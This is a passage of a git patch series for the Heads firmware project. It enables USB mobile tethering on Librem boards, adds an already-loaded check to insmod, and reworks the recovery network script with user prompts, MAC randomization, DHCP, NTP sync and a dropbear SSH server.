drivers/net/usb/cdc_ether.ko +linux_modules-$(CONFIG_MOBILE_TETHERING) += drivers/net/usb/cdc_ncm.ko +linux_modules-$(CONFIG_MOBILE_TETHERING) += drivers/net/usb/cdc_eem.ko + # NVMe driver for winterfell and other servers linux_modules-$(CONFIG_LINUX_NVME) += drivers/nvme/host/nvme.ko linux_modules-$(CONFIG_LINUX_NVME) += drivers/nvme/host/nvme-core.ko From 9b69f1b66a29ea90045eabe1d679994810beb17a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 21 Feb 2024 11:55:23 -0500 Subject: [PATCH 015/619] boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config: unify with x230-hotp-maximized Signed-off-by: Thierry Laurion --- .../x230-hotp-maximized_usb-kb.config | 41 +++++-------------- 1 file changed, 11 insertions(+), 30 deletions(-) diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 811ecda6c..5bdcfdbe9 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -15,6 +15,10 @@ export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y + #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -47,6 +51,7 @@ CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support CONFIG_HOTPKEY=y +export CONFIG_AUTO_BOOT_TIMEOUT=5 #Nitrokey Storage admin tool CONFIG_NKSTORECLI=n @@ -66,38 +71,14 @@ CONFIG_DROPBEAR=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_KERNEL_ADD="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_KERNEL_REMOVE="quiet" +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized_usb-kb" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" -# xx30-*-maximized boards require of you initially call one of the -# following to have gbe.bin ifd.bin and me.bin -# - blobs/xx30/download_clean_me.sh -# To download Lenovo original ME binary, neuter+deactivate ME, produce -# reduced IFD ME region and expanded BIOS IFD region. -# - blobs/xx30/extract.sh -# To extract from backuped 8M (bottom SPI) ME binary, GBE and IFD blobs. -# -# This board has two SPI flash chips, an 8 MB that holds the IFD, -# the ME image and part of the coreboot image, and a 4 MB one that -# has the rest of the coreboot and the reset vector. -# -# As a consequence, this replaces the need of having to flash x230-flash -# and expands available CBFS region (11.5Mb available CBFS space) -# -# When flashing via an external programmer it is easiest to have -# two separate files for these pieces. -all: $(board_build)/$(CB_OUTPUT_FILE) - @sha256sum $@ | tee -a "$(HASHES)" - -all: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom -$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom: $(board_build)/$(CB_OUTPUT_FILE) - $(call do,DD 8MB,$@,dd of=$@ if=$< bs=65536 count=128 skip=0 status=none) - @sha256sum $@ | tee -a "$(HASHES)" +#Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP +BOARD_TARGETS := xx30_me_blobs -all: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom -$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom: $(board_build)/$(CB_OUTPUT_FILE) - $(call do,DD 4MB,$@,dd of=$@ if=$< bs=65536 count=64 skip=128 status=none) - @sha256sum $@ | tee -a "$(HASHES)" +# Generate split 4MB top / 8MB bottom ROMs +BOARD_TARGETS += split_8mb4mb From 65f0b905f6e4d9a0ee6c3609b44009867cf906f4 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 22 Feb 2024 10:11:21 -0500 Subject: [PATCH 016/619] boards/librem*, config/linux-librem*: Enable mobile tethering Enable mobile tethering on all Librem boards. Signed-off-by: Jonathon Hall --- boards/librem_11/librem_11.config | 1 + boards/librem_13v2/librem_13v2.config | 1 + boards/librem_13v4/librem_13v4.config | 1 + boards/librem_14/librem_14.config | 1 + boards/librem_15v3/librem_15v3.config | 1 + boards/librem_15v4/librem_15v4.config | 1 + boards/librem_l1um/librem_l1um.config | 1 + boards/librem_l1um_v2/librem_l1um_v2.config | 1 + boards/librem_mini/librem_mini.config | 1 + boards/librem_mini_v2/librem_mini_v2.config | 1 + config/linux-librem_common-6.1.8.config | 45 +++++++++++++++++++- config/linux-librem_common.config | 46 ++++++++++++++++++++- 12 files changed, 98 insertions(+), 3 deletions(-) diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 75de0ed54..63025aff3 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index f6d44990f..835831aad 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index f92c249a7..afded52a7 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index c04f95ac3..7eb296d60 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -24,6 +24,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y export CONFIG_SUPPORT_USB_KEYBOARD=y diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index 14049aba2..e3c55575a 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index c95e61015..d57830552 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -27,6 +27,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index c5d960b11..1956c63a6 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -25,6 +25,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 32bdfa1e3..bc5153516 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -24,6 +24,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y export CONFIG_TPM2_TOOLS=y diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index a460a21a4..bc0208789 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index ed1be16f5..eb0349c12 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n diff --git a/config/linux-librem_common-6.1.8.config b/config/linux-librem_common-6.1.8.config index 9d83a8db2..9e4752357 100644 --- a/config/linux-librem_common-6.1.8.config +++ b/config/linux-librem_common-6.1.8.config @@ -1274,6 +1274,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y +CONFIG_MII=m CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set @@ -1401,7 +1402,49 @@ CONFIG_NET_VENDOR_VERTEXCOM=y # CONFIG_PPP is not set # CONFIG_SLIP is not set -# CONFIG_USB_NET_DRIVERS is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m # CONFIG_WLAN is not set # CONFIG_WAN is not set diff --git a/config/linux-librem_common.config b/config/linux-librem_common.config index c201f9716..a3edda0f4 100644 --- a/config/linux-librem_common.config +++ b/config/linux-librem_common.config @@ -1175,6 +1175,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y +CONFIG_MII=m CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set @@ -1296,7 +1297,48 @@ CONFIG_E1000E_HWTS=y # CONFIG_PPP is not set # CONFIG_SLIP is not set -# CONFIG_USB_NET_DRIVERS is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set # CONFIG_WLAN is not set # @@ -1453,7 +1495,7 @@ CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set CONFIG_TCG_TPM=y -CONFIG_HW_RANDOM_TPM=n +# CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_I2C_ATMEL is not set From bec25456887fb201e4aa186f8ea044aa77b9dc16 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 22 Feb 2024 13:36:25 -0500 Subject: [PATCH 017/619] insmod: check if module already loaded and if so exit early Signed-off-by: Thierry Laurion --- initrd/bin/network-init-recovery | 6 ++---- initrd/sbin/insmod | 10 +++++++++- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/initrd/bin/network-init-recovery b/initrd/bin/network-init-recovery index ed430f018..814eb32c2 100755 --- a/initrd/bin/network-init-recovery +++ b/initrd/bin/network-init-recovery @@ -11,8 +11,7 @@ echo "Loading Ethernet network modules..." network_modules="e1000 e1000e igb sfc mdio mlx4_core mlx4_en" for module in $(echo $network_modules); do if [ -f /lib/modules/$module.ko ]; then - #check if module is already loaded and load it if not - lsmod | grep -q $module || insmod /lib/modules/$module.ko + insmod /lib/modules/$module.ko fi done @@ -30,8 +29,7 @@ if [ -e /lib/modules/cdc_ether.ko ]; then echo "Loading USB tethering network related modules: $network_modules..." for module in $(echo $network_modules); do if [ -f /lib/modules/$module.ko ]; then - #check if module is already loaded and load it if not - lsmod | grep -q $module || insmod /lib/modules/$module.ko + insmod /lib/modules/$module.ko fi done if ! [ -e /sys/class/net/usb0 ]; then diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index 8545482b2..c00aab35b 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -23,6 +23,14 @@ if [ ! -r "$MODULE" ]; then die "$MODULE: not found?" fi +# Check if module is already loaded while remove trailing .ko if present +module=$(basename "$MODULE") +module=${module%.ko} +if lsmod | grep -q "^$module\\b"; then + DEBUG "$module: already loaded" + exit 0 +fi + if [ ! -r /sys/class/tpm/tpm0/pcrs -o ! -x /bin/tpm ]; then if [ ! -c /dev/tpmrm0 -o ! -x /bin/tpm2 ]; then tpm_missing=1 @@ -48,4 +56,4 @@ fi # the busybox insmod via the original executable DEBUG "Loading $MODULE with busybox insmod" busybox insmod "$MODULE" "$@" \ -|| die "$MODULE: insmod failed" + || die "$MODULE: insmod failed" From 35de23483ac99707e6486206ccb5c8f020ae3e68 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 22 Feb 2024 14:35:26 -0500 Subject: [PATCH 018/619] etc/ash_functions: remove redundant lsmod prior of insmod Signed-off-by: Thierry Laurion --- initrd/etc/ash_functions | 41 +++++++++------------------------------- 1 file changed, 9 insertions(+), 32 deletions(-) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 58634307a..d31b034dc 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -318,35 +318,15 @@ enable_usb() { TRACE "Under /etc/ash_functions:enable_usb" #insmod ehci_hcd prior of uhdc_hcd and ohci_hcd to suppress dmesg warning - if ! lsmod | grep -q ehci_hcd; then - insmod /lib/modules/ehci-hcd.ko \ - || die "ehci_hcd: module load failed" - fi + insmod /lib/modules/ehci-hcd.ko || die "ehci_hcd: module load failed" + if [ "$CONFIG_LINUX_USB_COMPANION_CONTROLLER" = y ]; then - if ! lsmod | grep -q uhci_hcd; then - insmod /lib/modules/uhci-hcd.ko \ - || die "uhci_hcd: module load failed" - fi - if ! lsmod | grep -q ohci_hcd; then - insmod /lib/modules/ohci-hcd.ko \ - || die "ohci_hcd: module load failed" - fi - if ! lsmod | grep -q ohci_pci; then - insmod /lib/modules/ohci-pci.ko \ - || die "ohci_pci: module load failed" - fi - fi - if ! lsmod | grep -q ehci_pci; then - insmod /lib/modules/ehci-pci.ko \ - || die "ehci_pci: module load failed" - fi - if ! lsmod | grep -q xhci_hcd; then - insmod /lib/modules/xhci-hcd.ko \ - || die "xhci_hcd: module load failed" - fi - if ! lsmod | grep -q xhci_pci; then - insmod /lib/modules/xhci-pci.ko \ - || die "xhci_pci: module load failed" + insmod /lib/modules/uhci-hcd.ko || die "uhci_hcd: module load failed" + insmod /lib/modules/ohci-hcd.ko || die "ohci_hcd: module load failed" + insmod /lib/modules/ohci-pci.ko || die "ohci_pci: module load failed" + insmod /lib/modules/ehci-pci.ko || die "ehci_pci: module load failed" + insmod /lib/modules/xhci-hcd.ko || die "xhci_hcd: module load failed" + insmod /lib/modules/xhci-pci.ko || die "xhci_pci: module load failed" sleep 2 fi @@ -357,9 +337,6 @@ enable_usb() # desktop/server), they could lock themselves out, only recoverable by # hardware flash. if [ "$CONFIG_USB_KEYBOARD_REQUIRED" = y ] || [ "$CONFIG_USER_USB_KEYBOARD" = y ]; then - if ! lsmod | grep -q usbhid; then - insmod /lib/modules/usbhid.ko \ - || die "usbhid: module load failed" - fi + insmod /lib/modules/usbhid.ko || die "usbhid: module load failed" fi } From 5f8cb5a15921494decd1ff2403a30cec638971dc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 22 Feb 2024 15:03:12 -0500 Subject: [PATCH 019/619] initrd/bin/network-init-recovery: put usb tethering and ethernet activation in functions and ask user prior of using each mode Also remove output of attempted module loading since DEBUG will show if needed Remove timeout after 30 seconds to unify UX and block Change UX wording Should address all PR review comments Signed-off-by: Thierry Laurion --- initrd/bin/network-init-recovery | 174 +++++++++++++++++++------------ 1 file changed, 106 insertions(+), 68 deletions(-) diff --git a/initrd/bin/network-init-recovery b/initrd/bin/network-init-recovery index 814eb32c2..86ecd6403 100755 --- a/initrd/bin/network-init-recovery +++ b/initrd/bin/network-init-recovery @@ -4,45 +4,76 @@ TRACE_FUNC -# bring up the ethernet interface -ifconfig lo 127.0.0.1 +mobile_tethering() +{ + TRACE_FUNC + #Tethering over USB for Mobile phones supporting CDC (Android Pixel 6a+, Librem phone, etc.) + if [ -e /lib/modules/cdc_ether.ko ]; then + #prompt user if he wants to enable USB tethering and skip if not + echo "" + echo "USB tethering support is available for mobile phones supporting CDC NCM/EEM tethering" + read -p "Do you want to enable USB tethering now? (Y/n)" -n 1 -r REPLY + echo "" + if [[ $REPLY =~ ^[Nn]$ ]]; then + echo "USB tethering not enabled, skipping..." + return 0 + fi + + #first enable USB controllers + enable_usb + + echo "" + echo "Please connect your mobile phone to a USB port and enable internet connection sharing." + echo "* Android: Select the 'Charging this device via USB' notification and enable tethering." + echo "* Linux: Set the wired connection's IPv4 method on the mobile phone to 'Shared to other computers'." + echo "Heads supports CDC-NCM and CDC-EEM. Android phones using RNDIS and Apple phones are not supported." + echo "" + read -p "Press Enter to continue..." -n 1 -r -echo "Loading Ethernet network modules..." -network_modules="e1000 e1000e igb sfc mdio mlx4_core mlx4_en" -for module in $(echo $network_modules); do - if [ -f /lib/modules/$module.ko ]; then - insmod /lib/modules/$module.ko + network_modules="mii usbnet cdc_ether cdc_ncm cdc_eem" + for module in $(echo $network_modules); do + if [ -f /lib/modules/$module.ko ]; then + insmod /lib/modules/$module.ko + fi + done + + if ! [ -e /sys/class/net/usb0 ]; then + echo "" + echo "No tethering network interface was found." + echo "* Make sure the phone supports CDC-NCM or CDC-EEM. Many, but not all, Android and Linux phones support these." + echo "* Android phones requiring RNDIS and Apple phones are not supported." + echo "* Make sure the cable used works with data and that the phone has tethering enabled." + echo "" + read -p "Press Enter to continue..." -n 1 -r fi -done +fi +} -#Tethering over USB for Mobile phones supporting CDC (Android Pixel 6a+, Librem phone, etc.) -if [ -e /lib/modules/cdc_ether.ko ]; then - #first enable USB controllers - enable_usb +ethernet_activation() +{ + TRACE_FUNC + #Prompt user if he wants to enable ethernet and skip if not + read -p "Do you want to enable Ethernet now? (Y/n)" -n 1 -r REPLY echo "" - echo "Please verify that your mobile (CDC NCM/EEM tethering compatible phone) is networked in the desired way (WIFI/mobile + VPN/Orbot/etc)" - echo "Please connect mobile phone to this machine's fast USB port (blue identified) through a known working data cable" - echo "Please enable USB tethering prior of going further (Android: select 'Charging this device via USB' notification and enable tethering option)" - read -p "Press Enter to continue now or wait 30 seconds..." -n 1 -r -t 30 - - network_modules="mii usbnet cdc_ether cdc_ncm cdc_eem" - echo "Loading USB tethering network related modules: $network_modules..." + if [[ $REPLY =~ ^[Nn]$ ]]; then + echo "Ethernet not enabled, skipping..." + return 0 + fi + + echo "Loading Ethernet network modules..." + network_modules="e1000 e1000e igb sfc mdio mlx4_core mlx4_en" for module in $(echo $network_modules); do if [ -f /lib/modules/$module.ko ]; then insmod /lib/modules/$module.ko fi done - if ! [ -e /sys/class/net/usb0 ]; then - echo "" - echo "Tethering USB network interface was NOT detected with loaded kernel modules : $network_modules" - echo "Please check your phone's linux drivers requirements" - echo "Note that RNDIS kernel module inclusion was discussed and rejected due to security implications and planned deprecation under Linux kernel altogether" - echo "CDC NCM/CDC EEM support is known to be available on a majority of Android/GrapheneOS as well as Librem phones" - echo "Non-exhaustive exeptions: Pixel 4a* known to only tether over RNDIS and won't be supported" - echo "Apple phones won't be supported due to size and complexity of the drivers and toolstack required to support tethering" - read -p "Press Enter to continue now or wait 30 seconds..." -n 1 -r -t 30 - fi -fi +} + +# bring up the ethernet interface +ifconfig lo 127.0.0.1 + +mobile_tethering +ethernet_activation if [ -e /sys/class/net/usb0 ]; then dev=usb0 @@ -50,56 +81,63 @@ if [ -e /sys/class/net/usb0 ]; then elif [ -e /sys/class/net/eth0 ]; then dev=eth0 echo "Ethernet network interface detected as $dev" - #Randomize eth0 MAC address of maximized boards +else + echo "No network interface detected, please check your hardware and board configuration" + exit 1 +fi + +if [ -n "$dev" ]; then + + #Randomize MAC address for maximized boards if echo "$CONFIG_BOARD" | grep -q maximized; then ifconfig $dev down echo "Generating random MAC address..." mac=$(generate_random_mac_address) - echo "Assigning randomly generated MAC: $mac to eth0..." + echo "Assigning randomly generated MAC: $mac to $dev..." ifconfig $dev hw ether $mac - echo "Bringing up $dev... Connect a network cable to the $dev port and make sure status LEDs are on" ifconfig $dev up fi -fi -# Set up static IP -if [ ! -z "$CONFIG_BOOT_STATIC_IP" ]; then - echo "Setting static IP: $CONFIG_BOOT_STATIC_IP" - ifconfig $dev $CONFIG_BOOT_STATIC_IP - echo "No NTP sync with static IP: no DNS server nor gateway defined, set time manually" -elif [ -e /sbin/udhcpc ]; then - echo "Getting IP from first DHCP server answering. This may take a while..." - if udhcpc -T 1 -i $dev -q; then - if [ -e /sbin/ntpd ]; then - DNS_SERVER=$(grep nameserver /etc/resolv.conf | awk -F " " {'print $2'}) - killall ntpd 2 &>1 >/dev/null - echo "Attempting to sync time with NTP server: $DNS_SERVER..." - if ! ntpd -d -N -n -q -p $DNS_SERVER; then - echo "NTP sync unsuccessful with DNS server" - echo "Attempting NTP time sync with pool.ntp.org..." - if ! ntpd -d -d -N -n -q -p pool.ntp.org; then - echo "NTP sync unsuccessful." - else - echo "NTP time sync successful." + # Set up static IP if configured in board config + if [ ! -z "$CONFIG_BOOT_STATIC_IP" ]; then + echo "Setting static IP: $CONFIG_BOOT_STATIC_IP" + ifconfig $dev $CONFIG_BOOT_STATIC_IP + echo "No NTP sync with static IP: no DNS server nor gateway defined, set time manually" + # Set up DHCP if no static IP + elif [ -e /sbin/udhcpc ]; then + echo "Getting IP from first DHCP server answering. This may take a while..." + if udhcpc -T 1 -i $dev -q; then + if [ -e /sbin/ntpd ]; then + DNS_SERVER=$(grep nameserver /etc/resolv.conf | awk -F " " {'print $2'}) + killall ntpd 2 &>1 >/dev/null + echo "Attempting to sync time with NTP server: $DNS_SERVER..." + if ! ntpd -d -N -n -q -p $DNS_SERVER; then + echo "NTP sync unsuccessful with DNS server" + echo "Attempting NTP time sync with pool.ntp.org..." + if ! ntpd -d -d -N -n -q -p pool.ntp.org; then + echo "NTP sync unsuccessful." + else + echo "NTP time sync successful." + fi fi + echo "Syncing hardware clock with system time in UTC/GMT timezone..." + hwclock -w + echo "" + date=$(date "+%Y-%m-%d %H:%M:%S %Z") + echo "Time: $date" fi - echo "Syncing hardware clock with system time in UTC/GMT timezone... NOT LOCAL TIMEZONE!" - hwclock -w - echo "" - date=$(date "+%Y-%m-%d %H:%M:%S %Z") - echo "Time: $date" fi fi -fi -if [ -e /bin/dropbear ]; then - # Set up the ssh server, allow root logins and log to stderr - if [ ! -d /etc/dropbear ]; then - mkdir /etc/dropbear + if [ -e /bin/dropbear ]; then + # Set up the ssh server, allow root logins and log to stderr + if [ ! -d /etc/dropbear ]; then + mkdir /etc/dropbear + fi + echo "Starting dropbear ssh server..." + dropbear -B -R fi - echo "Starting dropbear ssh server..." - dropbear -B -R + echo "" + echo "Network setup complete:" + ifconfig $dev fi -echo "" -echo "Network setup complete:" -ifconfig From a5ab32b761afc51f4aa4e0219ff844df0caf52dc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 22 Feb 2024 16:20:14 -0500 Subject: [PATCH 020/619] insmod: uniformize module name and lsmod output prior of comapring if module already insmodded (ehci-hcd.ko module name is ehci_hcd...) Signed-off-by: Thierry Laurion --- initrd/sbin/insmod | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index c00aab35b..97614fc65 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -23,11 +23,12 @@ if [ ! -r "$MODULE" ]; then die "$MODULE: not found?" fi -# Check if module is already loaded while remove trailing .ko if present -module=$(basename "$MODULE") -module=${module%.ko} -if lsmod | grep -q "^$module\\b"; then - DEBUG "$module: already loaded" +# Check if module is already loaded +# Transform module name changing _ for - and trailing .ko if present +# Unify lsmod output to use - instead of _ for comparison +module_name=$(basename "$MODULE" | sed 's/_/-/g' | sed 's/\.ko$//') +if lsmod | sed 's/_/-/g' | grep -q "^$module_name\\b"; then + DEBUG "$MODULE: already loaded" exit 0 fi From 031f885aaa8431c21341b45557cfa386c7b3c1f4 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 23 Feb 2024 09:43:50 -0500 Subject: [PATCH 021/619] initrd/bin/network-init-recovery: Trivial indentation fix Signed-off-by: Jonathon Hall --- initrd/bin/network-init-recovery | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/initrd/bin/network-init-recovery b/initrd/bin/network-init-recovery index 86ecd6403..dbd593ffb 100755 --- a/initrd/bin/network-init-recovery +++ b/initrd/bin/network-init-recovery @@ -37,16 +37,16 @@ mobile_tethering() fi done - if ! [ -e /sys/class/net/usb0 ]; then - echo "" - echo "No tethering network interface was found." - echo "* Make sure the phone supports CDC-NCM or CDC-EEM. Many, but not all, Android and Linux phones support these." - echo "* Android phones requiring RNDIS and Apple phones are not supported." - echo "* Make sure the cable used works with data and that the phone has tethering enabled." - echo "" - read -p "Press Enter to continue..." -n 1 -r + if ! [ -e /sys/class/net/usb0 ]; then + echo "" + echo "No tethering network interface was found." + echo "* Make sure the phone supports CDC-NCM or CDC-EEM. Many, but not all, Android and Linux phones support these." + echo "* Android phones requiring RNDIS and Apple phones are not supported." + echo "* Make sure the cable used works with data and that the phone has tethering enabled." + echo "" + read -p "Press Enter to continue..." 